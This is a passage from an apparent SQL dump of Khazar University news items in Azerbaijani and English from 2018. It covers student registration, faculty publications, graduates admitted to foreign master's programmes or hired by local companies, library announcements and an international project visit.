“Azərbaycan-Polşa münasibətlərinin tarixinə qısa ekskurs və Qarabağ” adlı geniş məqaləsi dərc olunmuşdur. Azərbaycan və Polşa arasında ictimai-siyasi və mədəni əlaqələrin qurulması və inkişafına həsr olunmuş məqalədə Xəzər Universitetinin Fəxri doktoru, polyak mənşəli Amerika tarixçisi, Cənubi Qafqazın öyrənilməsi və xüsusən Azərbaycanın yeni tarixinin tədqiqi üzrə görkəmli mütəxəssis Tadeuş Sventoxovskinin (1932-2017) də Azərbaycanın tarixi ilə əlaqədar apardığı tədqiqatlardan və bu mövzuda çap olunmuş əsərlərindən bəhs edilmişdir.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://525.az/site/?name=xeber&amp;news_id=105046#Kalibri&amp;gsc.tab=0\">https://525.az/site/?name=xeber&amp;news_id=105046-Kalibri&amp;gsc.tab=0 </a></p>'),(5936,3394,'en','Registration of the abiturients admitted to Khazar University ends','Registration, which started on the Neftchilar campus on 16 August...','<p>Registration, which started on the Neftchilar campus on 16 August, of the abiturients admitted to Khazar University, based on the results of exams conducted by the State Examination Center of the Republic of Azerbaijan, ended on August 28 at 17.00.</p>'),(5937,3395,'en','Works by Tadeusz Sventohovsky, Honorary Doctor of Khazar University, are mentioned in the article published in the \"525th\" newspaper','On August 27, 2018, the \"525th newspaper\" published an article by Rovshan Agayev and Natig Isayev...','<p>On August 27, 2018, the \"525<sup>th</sup> newspaper\" published an article by Rovshan Agayev and Natig Isayev entitled \"Short Excursion to the History of Azerbaijani-Polish Relations and Karabagh\".</p><p>The article, dedicated to the establishment and development of socio-political and cultural relations between Azerbaijan and Poland, deals with researches and works by Tadeusz Sventohovsky (1932-2017), Honorary Doctor of Khazar University, American historian of the Polish origin, an expert on South Caucasus and a prominent expert in the study of the New History of Azerbaijan.</p><p>The article is available at:</p>  <p><a href=\"https://525.az/site/?name=xeber&amp;news_id=105046#Kalibri&amp;gsc.tab=0\">https://525.az/site/?name=xeber&amp;news_id=105046-Kalibri&amp;gsc.tab=0 </a></p>'),(5938,3396,'az','Xəzər Universitetində boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı davam edir','Xəzər Universitetində boş qalan plan yerlərinə qəbul olan...','<p>Xəzər Universitetində boş qalan plan yerlərinə qəbul olan abituriyentlərin qeydiyyatı başlayıb.&nbsp;Qeydiyyat sentyabrın 3-də başa çatacaq.</p>'),(5939,3396,'en','Registration of abiturients admitted to the vacant places of higher education institutions has started at Khazar University','Registration of abiturients admitted to the vacant places...','<p>Registration of abiturients admitted to the vacant places of higher education institutions has started at Khazar University.&nbsp;Registration will last until September 3.</p>'),(5940,3397,'az','Qırğızıstanda keçiriləcək festivalda Azərbaycanı Xəzər Universitetinin müəllimi, modelyer-dizayner Gülnarə Xəlilova təmsil edəcək','2018-ci il avqustun 30-da Azərbaycan Dövıət İnformasiya Agentliyi...','<p>2018-ci il avqustun 30-da Azərbaycan Dövıət İnformasiya Agentliyi – AZƏRTAC sentyabrın 2-dən 8-dək Qırğızıstan Respublikasında keçiriləcək III Ümumdünya Köçəri Oyunları və Beynəlxalq Etnomədəniyyət Festivalında Azərbaycanın təmsilçiliyi ilə əlaqədar “Azərbaycan naxışları qardaş Qırğız ölkəsində” adlı geniş xəbər yaymışdır. Xəbərdə qeyd olunur ki, Azərbaycanı festivalda Azərbaycan Respublikası Mədəniyyət Nazirliyinin dəstəyi ilə Xəzər Universitetinin müəllimi, modelyer-dizayner, sənətşünaslıq üzrə fəlsəfə doktoru Gülnarə Xəlilova təmsil edəcək. Festivalda modelyerin yaratdığı 15-dən çox milli və müasir moda nümunələri sərgilənəcək.</p><p>Xəbər Mədəniyyət.az jurnalı, “Yeni Azərbaycan” və “İkisahil qəzetlərinin internet səhifələrində, modern.az, paralel.az və digər xəbər portallarında da dərc edilmişdir.&nbsp;</p><p>Xəbərləri aşağıdakı linklərdə oxumaq olar:</p><p><a href=\"https://azertag.az/xeber/Azerbaycan_naxislari_qardas_Qirgiz_olkesinde-1190246#Kalibri\">https://azertag.az/xeber/Azerbaycan_naxislari_qardas_Qirgiz_olkesinde-1190246#Kalibri</a></p><p><a href=\"http://www.medeniyyet.info/medeniyyet-xeberleri/azerbaycan-naxislari-qardas-qirgiz-olkesinde#Kalibri\">http://www.medeniyyet.info/medeniyyet-xeberleri/azerbaycan-naxislari-qardas-qirgiz-olkesinde#Kalibri</a></p><p><a href=\"http://yeniazerbaycan.com/SonXeber_e36245_az.html#Kalibri\">http://yeniazerbaycan.com/SonXeber_e36245_az.html#Kalibri</a></p><p><a href=\"http://ikisahil.az/?page=7&amp;newsId=104680&amp;lang=aze#Kalibri\">http://ikisahil.az/?page=7&amp;newsId=104680&amp;lang=aze#Kalibri</a></p><p><a href=\"http://modern.az/az/news/175584#Kalibri&amp;gsc.tab=0\">http://modern.az/az/news/175584#Kalibri&amp;gsc.tab=0</a></p><p><a href=\"https://paralel.az/article/az/67039-Az%C9%99rbaycan+nax%C4%B1%C5%9Flar%C4%B1+Q%C4%B1r%C4%9F%C4%B1z%C4%B1standa.html#Kalibri\">https://paralel.az/article/az/67039-Az%C9%99rbaycan+nax%C4%B1%C5%9Flar%C4%-B1+Q%C4%B1r%C4%9F%C4%B1z%C4%B1standa.html#Kalibri</a></p>'),(5941,3397,'en','Gulnara Khalilova, fashion designer, Khazar University instructor, will represent Azerbaijan at festival to be held in Kyrgyzstan','On August 30, 2018, Azerbaijan State News Agency – AZERTAC spread the news entitled...','<p>On August 30, 2018, Azerbaijan State News Agency – AZERTAC spread the news entitled “Azerbaijan\'s ornaments in the fraternal Kyrgyz country” related to the representation of Azerbaijan in the World Nomad Games and International Ethnocultural Festival to be conducted on 2-8 September in the Kyrgyz Republic.</p><p>The news says that Azerbaijan will be represented, with the support of the Ministry of Culture of the Republic of Azerbaijan, by Gulnara Khalilova, PhD in Fine Arts, a fashion designer, an instructor at Khazar University.</p><p>The festival will feature more than 15 national and contemporary fashion designs created by the designer.</p><p>The news has been published in the journal -“Mədəniyyət.az”, on the internet pages of newspapers - “Yeni Azərbaycan” and “İkisahil”, on modern.az, paralel.az and other news portals.</p><p>The news is available at the following links:</p><p><a href=\"https://azertag.az/xeber/Azerbaycan_naxislari_qardas_Qirgiz_olkesinde-1190246#Kalibri\">https://azertag.az/xeber/Azerbaycan_naxislari_qardas_Qirgiz_olkesinde-1190246#Kalibri</a></p><p><a href=\"http://www.medeniyyet.info/medeniyyet-xeberleri/azerbaycan-naxislari-qardas-qirgiz-olkesinde#Kalibri\">http://www.medeniyyet.info/medeniyyet-xeberleri/azerbaycan-naxislari-qardas-qirgiz-olkesinde#Kalibri</a></p><p><a href=\"http://yeniazerbaycan.com/SonXeber_e36245_az.html#Kalibri\">http://yeniazerbaycan.com/SonXeber_e36245_az.html#Kalibri</a></p><p><a href=\"http://ikisahil.az/?page=7&amp;newsId=104680&amp;lang=aze#Kalibri\">http://ikisahil.az/?page=7&amp;newsId=104680&amp;lang=aze#Kalibri</a></p><p><a href=\"http://modern.az/az/news/175584#Kalibri&amp;gsc.tab=0\">http://modern.az/az/news/175584#Kalibri&amp;gsc.tab=0</a></p><p><a href=\"https://paralel.az/article/az/67039-Az%C9%99rbaycan+nax%C4%B1%C5%9Flar%C4%B1+Q%C4%B1r%C4%9F%C4%B1z%C4%B1standa.html#Kalibri\">https://paralel.az/article/az/67039-Az%C9%99rbaycan+nax%C4%B1%C5%9Flar%C4%-B1+Q%C4%B1r%C4%9F%C4%B1z%C4%B1standa.html#Kalibri</a></p>'),(5942,3398,'az','Xəzər Universitetinin əməkdaşının məqaləsi Ukraynada çap olundu','Xəzər Universitetinin əməkdaşı Cabir Məmmədlinin “Estetikanın ən qədim dövrlərində tragediya...','<p>Xəzər Universitetinin əməkdaşı Cabir Məmmədlinin “Estetikanın ən qədim dövrlərində tragediya. Aristotelin tragediya konsepsiyası” (“Tragedy in Ancient Period of Aesthetics. Aristotle’s Tragedy Concept”) adlı məqaləsi Ukraynanın beynəlxalq bazaya daxil olan “Visnyk of The Lviv Unıversity (Philosophical Political studies)”&nbsp;jurnalının 18-ci buraxılışında (səh. 150-156) çap edilmişdir.</p><p>Məqalənin tam şəkildə PDF&nbsp;formatda&nbsp;<strong><a href=\"/files/letters/fps-visnyk.lnu.lviv.ua_18-2018-seh-150-156.pdf\">burada</a>&nbsp;</strong>oxumaq olar.<br></p>'),(5943,3398,'en','An article by Khazar University associate published in Ukraine','An article entitled “Tragedy in Ancient Period of Aesthetics. Aristotle’s Tragedy Concept...','<p>An article entitled “Tragedy in Ancient Period of Aesthetics. Aristotle’s Tragedy Concept” by Jabir Mammadli, a Khazar University associate, has been published in “Visnyk of The Lviv Unıversity (Philosophical Political studies)”, number 18 (p.150-156), a Ukrainian journal included in an international database.</p><p>Read the full article here:&nbsp;<strong><a href=\"http://www.khazar.org/files/letters/fps-visnyk.lnu.lviv.ua_18-2018-seh-150-156.pdf\">PDF</a><a href=\"http://www.khazar.org/files/letters/SDU_jurnali.PDF\"></a></strong><a href=\"http://www.khazar.org/files/letters/SDU_jurnali.PDF\"></a><br></p>'),(5952,3402,'en','The recent graduates (BS) of the School of Engineering and Applied Sciences will continue their education at prestigious universities of the world','Some undergraduates, 2017/2018 Academic year, of the School of Engineering and Applied Sciences of Khazar...','<p>Some undergraduates, 2017/2018 Academic year, of the School of Engineering and Applied Sciences of Khazar University have been admitted to Master’s degree programmes (scholarship and non scholarship) at various prestigious universities of the world.&nbsp;</p><p>We present those students:<br><br></p><p><strong><img src=\"/files/engineering/images/narmin_s.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Narmin Salimova</strong></p><p><strong></strong><strong>University:&nbsp;</strong>Grenoble Alpes University, France</p><p><strong>Major</strong>: Chemical Engineering (Nanoscience and Nanotechnologies)</p><p><strong>Scholarship program</strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/nazrin_ba.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Nazrin Babashova</strong></p><p><strong>University:&nbsp;</strong>Linnaeus University, Sweden</p><p><strong>Major</strong>: Chemical Engineering (Sustainable Energy Process)</p><p><strong>Scholarship</strong> <strong>program</strong><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/tarlan_h.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:148px\">Tarlan Hasanli</strong></p><p><strong>University:&nbsp;</strong>Tartu University, Estonia</p><p><strong>Major:</strong>  Computer Engineering</p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"http://www.khazar.org/files/engineering/images/latif_g.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Latif Guliyev</strong></p><p><strong>University:&nbsp;</strong>Eötvös Loránd University&nbsp;(ELTE), Hungary</p><p><strong>Major</strong>:&nbsp;Computer Science</p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/lamiye_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Lamiya&nbsp;Mammadova</strong></p><p><strong style=\"font-weight:bold\">University:&nbsp;</strong>City University of London, UK<br></p><p><strong>Major:</strong>&nbsp;Computer&nbsp;Engineering (Cyber Security)  </p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/adil_b.jpg\" style=\"float:left;width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Adil Babayev</strong></p><p><strong></strong><strong>University:</strong>&nbsp;Budapest University of Technology and Economics, <br>Hungary</p><p><strong>Major:</strong>&nbsp;Electronics (Transportation Engineering)  </p><p><strong>Scholarship&nbsp;<strong>program</strong>  </strong></p>  <p><strong><br></strong></p><p><br></p><strong></strong><p><strong>Beydulla Zeynalov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/beydulla_z.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>University</strong>:&nbsp;Óbuda University, Hungary</p><p><strong>Major</strong>: Computer Engineering</p><p><strong>Scholarship</strong> <strong>program</strong><br><strong></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><strong>S<img src=\"http://www.khazar.org/files/engineering/images/sultan_i.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">ultan Ismayilov</strong></p><p><strong></strong><strong>University</strong>: Ruhr University Bochum,&nbsp;Germany</p><p><strong>Major</strong>: Civil Engineering (Computational Engineering)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/engineering/images/nijat_a.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:189px\"><strong>Nijat Aliyev</strong></p><p><strong></strong><strong>University</strong>: Opole&nbsp;University, Poland</p><p><strong>Major</strong>: Civil Engineering (Construction&nbsp;Management)  </p>  <p><strong>Scholarship</strong>&nbsp;<strong>program</strong>  <br></p><p><br></p><p><br></p><p><br></p><p><strong><strong>Arsham Sarshogh</strong></strong><strong><strong><img src=\"http://www.khazar.org/files/engineering/images/arsham_s.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></strong></p>\r\n<p><strong></strong><strong>University</strong>:&nbsp;Alberta University, Canada</p><p><strong>Major</strong>: Computer Engineering</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(5957,3405,'az','Kitabxana-İnformasiya Mərkəzi könüllülər axtarır','Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi kitabxana işçilərinə yardım etmək...','<p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi kitabxana işçilərinə yardım etmək üçün vaxtı və həvəsi olan könüllülər axtarır. Əgər Siz özünüzü gərgin iş rejimində sadiq, çalışqan və etibarlı bilirsinizsə, bizimlə çalışa bilərsiniz.</p><p>Könüllülərdən tələb olunur:</p><p>1. 3-cü və ya 4-cü kurs tələbəsi olmaları;</p><p>2. Kompüter bacarıqlarının yaxşı olması.</p><p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzində Sizi gözləyirik.</p><p>Bizə qoşulun. Birlikdə gələcəyi quraq!</p>'),(5958,3405,'en','Library and Information Center is in search of volunteers','Library and Information Center of Khazar University is looking for volunteers who...','<p>Library and Information Center of Khazar University is looking for volunteers who have time, dedication and enthusiasm to help library staff. If you are committed, diligent and reliable, then you are exactly who we are looking for.</p><p>The criteria for volunteers:</p><p>1. Being a 3<sup>rd</sup> or 4<sup>th</sup> year student</p><p>2. Having good computer skills</p><p>We are waiting for you at the Library and Information Center of Khazar University.</p><p>“JOIN US. TOGETHER WE CREATE THE FUTURE!”</p>'),(5967,3410,'az','Mühəndislik və Tətbiqi Elmlər fakültəsinin məzun və tələbələri ölkənin nüfuzlu şirkətlərində işlə təmin olundular','Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsinin 2016-cı və 2018-ci illərin məzunları...','<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsinin 2016-cı və 2018-ci illərin məzunları “Schlumberger” şirkətində işə qəbul olunmuşlar. Həmçinin, Nəqliyyat, Rabitə və Yüksək Texnologiyalar Nazirliyi, “Aztelekom” MMC və “STP” (Sumqayıt Texnologiyalar Parkı) MMC-də “Yay təcrübə”sində olan tələbələrin bir qismi də proqramı uğurla başa çatdıraraq, işlə təmin olunmuşlar.&nbsp;</p><p>Həmin məzunları və tələbələri təqdim edirik:  <br></p><p><strong>Ələvəz Qədimov</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/alavaz_g1.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:241px;margin-right:7px;margin-left:7px\"></strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/engineering/images/alikram_h.jpg\" style=\"border:0px #000000;width:150px;height:202px;margin-bottom:3px;float:left;margin-left:7px;margin-right:7px\"><strong>Əlikram Həsənli</strong></p><p>Elektronika və telekommunikasiya mühəndisliyi ixtisası</p>  <p><strong>“Schlumberger” şirkəti  <br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong>Lalə Müslümzadə</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px #000000;vertical-align:baseline;margin-bottom:7px;width:150px;height:187px;margin-right:7px;float:left;margin-left:7px\"></strong></p><p>Kimya mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/yusif_a.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:189px;margin:4px 7px 7px\">Yusif Ələkbərli</strong></p><p>Neft-qaz mühəndisliyi ixtisası</p><p><strong>“Schlumberger” şirkəti</strong><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:205px;margin-right:7px;float:left;margin-left:7px;margin-top:7px\"></p><p><strong>Rəşid Salmanov</strong></p><p>Neft-qaz mühəndisliyi ixtisası (2016-cı il məzunu)</p><p><strong>“Schlumberger” şirkəti </strong> <br></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><p style=\"font-weight:bold\"><img src=\"http://www.khazar.org/files/engineering/images/sanar_g.jpg\" style=\"border:0px #000000;float:left;width:150px;height:175px;margin:7px\">Sanar Qasımov</p><p>Kompüter mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“Aztelekom” MMC</strong></p><p><strong><br></strong></p>  <p><br></p><p><br></p><p><strong>Milada Əliosmanova</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/milada_a.jpg\" style=\"float:left;width:150px;height:185px;margin:7px\"></strong></p><p>Kompüter mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“Aztelekom” MMC </strong>  <br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><strong><img src=\"/files/engineering/images/alish_i.jpg\" style=\"border:0px  #000000;width:150px;height:258px;margin:7px;float:left\">Alış İsmayılzadə</strong></p><p>Mexanika mühəndisliyi ixtisası  (4-cü kurs)</p><p><strong>“STP” MMC  <br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/engineering/images/fidan_r.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Fidan Rüstəmova</strong></p><p>Kimya mühəndisliyi ixtisası</p><p><strong>Princeps Legem MMC</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p>'),(5959,3406,'az','Tarix və arxeologiya departamentinin müəlliminin yeni kitabı çap olunub','Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə doktoru...','<p>Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə doktoru, dosent Xaqan Balayevin “Elm və təhsil” nəşriyyatında “Azərbaycanın sosial-siyasi həyatında cənublu mühacirlərin iştirakı: 1947-1991” adlı monoqrafiyası çapdan çıxıb.</p><p>Monoqrafiyada 1947-ci ildə İran hərbi qüvvələri tərəfindən Cənubi Azərbaycanda milli hakimiyyətin devrilməsindən sonra Azərbaycan SSR-ə gəlmiş siyasi mühacirlərin yarım əsrlik həyat və fəaliyyətləri yazılı mənbələr və elmi dövriyyəyə ilk dəfə daxil edilən yüzlərlə arxiv sənədləri əsasında Azərbaycan siyasətşünaslığında ilk dəfə tədqiq edilmiş və nəticələr çıxarılmışdır.</p>'),(5960,3406,'en','A book by the lecturer of the Department of History and Archeology is published','A monograph entitled “Participation of southern immigrants in the socio-political life of Azerbaijan...','<p>A monograph entitled “Participation of southern immigrants in the socio-political life of Azerbaijan: 1947-1991” written by Assoc.Prof. Khagan Balayev, PhD in Political Sciences and Lecturer of the Department of History and Archeology of Khazar University, has been published by “Science and Education” publishing house.</p><p>Based on written sources and hundreds of archive documents recently introduced to open research, the author studied, for the first time in Azerbaijan political studies, life and activities that cover half a century, of political immigrants who moved to Azerbaijan SSR after the overthrow of the national power by Iranian military forces in South Azerbaijan in 1947.</p>'),(5964,3408,'en','Two brothers from Aghdash choose Khazar University attaining a high score','Two brothers, Tamerlan və Tugay Abdullayev, who finished school №6 in Laki settlement of Aghdash...','<p>Two brothers, Tamerlan və Tugay Abdullayev, who finished school №6 in Laki settlement of Aghdash district, scored 690 points in admission exams of 2018/2019 academic year and entered Khazar University, majoring in&nbsp;Computer Engineering and Computer Sciences, respectively, of the School of Engineering and Applied Sciences.</p><p>Further information is available through the following link:</p><p><a href=\"http://www.azerbaijan-news.az/view-153689/Bu-il-A%C4%9Fda%C5%9Fdan-ali-m%C9%99kt%C9%99bl%C9%99r%C9%99-q%C9%99bul-olunanlar%C4%B1n-say%C4%B1-art%C4%B1b\">http://www.azerbaijan-news.az/view-153689/Bu-il-Ağdaşdan-ali-məktəblərə-qəbul-olunanların-sayı-artıb</a>.  <br></p>'),(5965,3409,'az','KİM Polpred.com resurslarından istifadə üçün ödənişsiz sınaq müddəti əldə etmişdir','Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi 2018-ci il sentyabrın 5-dən 2019-cu il...','<p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi 2018-ci il sentyabrın 5-dən 2019-cu il oktyabrın 15-dək Polpred.com resurslarından istifadə üçün ödənişsiz sınaq müddəti əldə etmişdir.&nbsp;</p><p>Polpred.com Rusiyanın əhəmiyyətli biznes nəşrlərinin ən böyük arxividir. Sayta&nbsp;hər gün minlərlə məlumat&nbsp;yerləşdirilir.&nbsp;</p><p>İstifadə üçün&nbsp;<a href=\"https://www.polpred.com/\">www.polpred.com</a>&nbsp;saytına daxil ola bilərsiniz.</p>'),(5966,3409,'en','Free trial access to polpred.com resources has been obtained by library-information center','The Library-Information Center of Khazar University has gained a free trial access to Polpred.com...','<p>The Library-Information Center of Khazar University has gained a free trial access to Polpred.com resources from September 5, 2018 to October 15, 2019.&nbsp;</p><p>Polpred.com is the largest archive of Russia\'s major business publications. Thousands of news items are placed on the website every day.&nbsp;<br></p><p>To access Polpred go to&nbsp;<a href=\"https://polpred.com/news\">www.polpred.com</a>.</p>'),(5968,3410,'en','Graduates and students of the School of Engineering and Applied Sciences have been employed by prestigious companies of the country','Graduates of the School of Engineering and Applied Sciences of Khazar University, 2016 and 2018...','<p>Graduates of the School of Engineering and Applied Sciences of Khazar University, 2016 and 2018, have been employed by “Schlumberger” company. Moreover, some of the students attending \"Summer Internship\" at the Ministry of Transport, Communications and High Technologies, “Aztelecom” LLC and \"STP\" LLC (Sumgait Technologies Park) have successfully completed the program and been employed.</p><p>The names of the employed students and graduates are as follows:<br></p>  <p><img src=\"/files/engineering/images/alavaz_g1.jpg\" style=\"border:0px #000000;float:left;width:150px;height:241px;margin-right:7px;margin-left:7px\"><strong>Alavaz Gadimov</strong></p><p>Specialty of Electronics and Telecommunication Engineering</p><p><strong>“Schlumberger\" company</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p style=\"text-align:left\"><img src=\"http://www.khazar.org/files/engineering/images/alikram_h.jpg\" style=\"border:0px #000000;width:150px;height:202px;vertical-align:baseline;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><strong>Alikram Hasanli</strong></p><p>Specialty of Electronics and Telecommunication Engineering</p><p><strong>\"Schlumberger\" company</strong>    </p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><img src=\"http://www.khazar.org/files/engineering/images/Lala_m.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:187px;margin-right:7px;float:left;margin-left:7px;margin-bottom:7px\"><p><strong>Lala Muslumzadeh</strong><br></p><p>Specialty of Chemical Engineering</p><p><strong>\"Schlumberger\" company</strong>    </p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><img src=\"http://www.khazar.org/files/engineering/images/yusif_a.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p><strong>Yusif Alakbarli</strong></p><p>Specialty of Oil and Gas Engineering</p><p><strong>“Schlumberger” company</strong><br></p><p><strong><br></strong></p>  <p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><br></p><img src=\"http://www.khazar.org/files/engineering/images/rashid_s.jpg\" style=\"border:0px #000000;vertical-align:baseline;width:150px;height:205px;margin-right:7px;float:left;margin-left:7px;margin-bottom:7px\"><p><strong style=\"font-weight:bold\">Rashid Salmanov&nbsp;</strong></p><p>Specialty of Oil and Gas Engineering&nbsp;(Graduate&nbsp;of 2016)</p><p><strong>\"Schlumberger\" company&nbsp;</strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><strong><img src=\"/files/engineering/images/sanar_g.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:175px;margin:7px\">Sanar Gasimov</strong></p><p>Specialty of Computer Engineering (4<sup>th</sup> year)</p><p><strong>\"Aztelecom\" LLC</strong><br></p><p><br></p><p><br></p><p><br></p>\r\n<p><strong>Milada Aliosmanova</strong><strong><img src=\"http://www.khazar.org/files/engineering/images/milada_a.jpg\" style=\"float:left;width:150px;height:185px;margin:7px\"></strong></p><p>Specialty of Computer Engineering (4<sup>th</sup>&nbsp;year)</p><p><strong>\"Aztelecom\" LLC</strong></p>  <p><strong><br></strong></p><p><strong><br></strong></p>\r\n<p><br></p><p><img src=\"http://www.khazar.org/files/engineering/images/alish_i.jpg\" style=\"float:left;width:150px;height:258px;margin:7px\"><strong>Alish Ismayilzadeh</strong></p><p>Specialty of Mechanical Engineering (4<sup>th</sup> year)</p><p><strong>\"STP\" LLC </strong> <br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><img src=\"/files/engineering/images/fidan_r.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Fidan Rüstəmova</strong></p><p>Specialty of Chemical Engineering</p><p><strong>Princeps Legem LLC</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p>'),(5969,3411,'az','Xəzər Universitetinin əməkdaşları Oslo Metropolitan Universitetinə səfər etdilər','2018-ci il sentyabrın 3-dən 7-dək Xəzər Universitetinin əməkdaşları – İqtisadiyyat və menecment fakültəsinin dekanı...','<p>2018-ci il sentyabrın 3-dən 7-dək Xəzər Universitetinin əməkdaşları –&nbsp;İqtisadiyyat və Menecment fakültəsinin dekanı Dr. Ceyhun Məmmədov, Siyasi Elm və Beynəlxalq Münasibətlər departamentinin koordinatoru Elmar Mustafayev, Psixologiya departamentinin müəllimi Nilufər Əlizadə Oslo Metropolitan Universitetində baş tutan “Cənubi Qafqaz və Norveçdə akademik və iş mühitində mədəniyyətlərarası qarşılaşmalar” adlı layihənin ilkin görüşündə iştirak etdilər. Görüşdə, həmçinin, Oslo Metropolitan Universiteti və Tbilisi Dövlət Universitetinin nümayəndələri də iştirak edirdilər.</p><p>3 illik layihə mədəniyyətlərarası kommunikasiya ilə əlaqədar magistr kurslarının hazırlanmasını, Oslo və Tbilisidə yay məktəblərinin təşkil olunmasını, birgə araşdırma işlərinin aparılmasını nəzərdə tutur. Görüş ərzində iştirakçılar fənlərin hazırlanması ilə bağlı təcrübələrini bölüşdülər və miqrasiya, nifrət nitqi və radikallaşma mövzularının ixtisas fənləri kimi tədrisinin nəzəriyyəsi və metodikasını müzakirə etdilər.</p>'),(5970,3411,'en','Khazar University staff members visit Oslo Metropolitan University','On September 3-7, 2018, Khazar University staff members – Dr. Jeyhun Mammadov, Dean of the School of Economics...','<p>On September 3-7, 2018, Khazar University staff members –   Dr. Jeyhun Mammadov, Dean of the School of Economics and Management; Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations; Nilufar Alizada, Instructor of the Department of Psychology –   participated in the kick-off meeting of the project \"Intercultural encounters in academia and workplaces in South Caucasus and Norway\" at Oslo Metropolitan University. The meeting was also attended by the representatives of the Oslo Metropolitan University (Norway), Tbilisi State University (Georgia).&nbsp;</p><p>The three-year project envisages the establishment of the master programmes regarding the intercultural communication, summer schools in Tbilisi and Oslo, and joint researches. During the meeting, participants shared their experience on course development and discussed the theory and methodology of incorporating migration, hate speech, and radicalization into the courses.</p>'),(5971,3412,'az','İsmayıllı rayonunda III \"Məmməd Araz poeziya günü” keçirilib','2018-ci il aprelin 20-də Qazax rayonundan start götürən III \"Məmməd Araz poeziya günü” çərçivəsində...','<p>2018-ci il aprelin 20-də Qazax rayonundan start götürən III \"Məmməd Araz poeziya günü” çərçivəsində növbəti tədbir sentyabr ayının 7-də 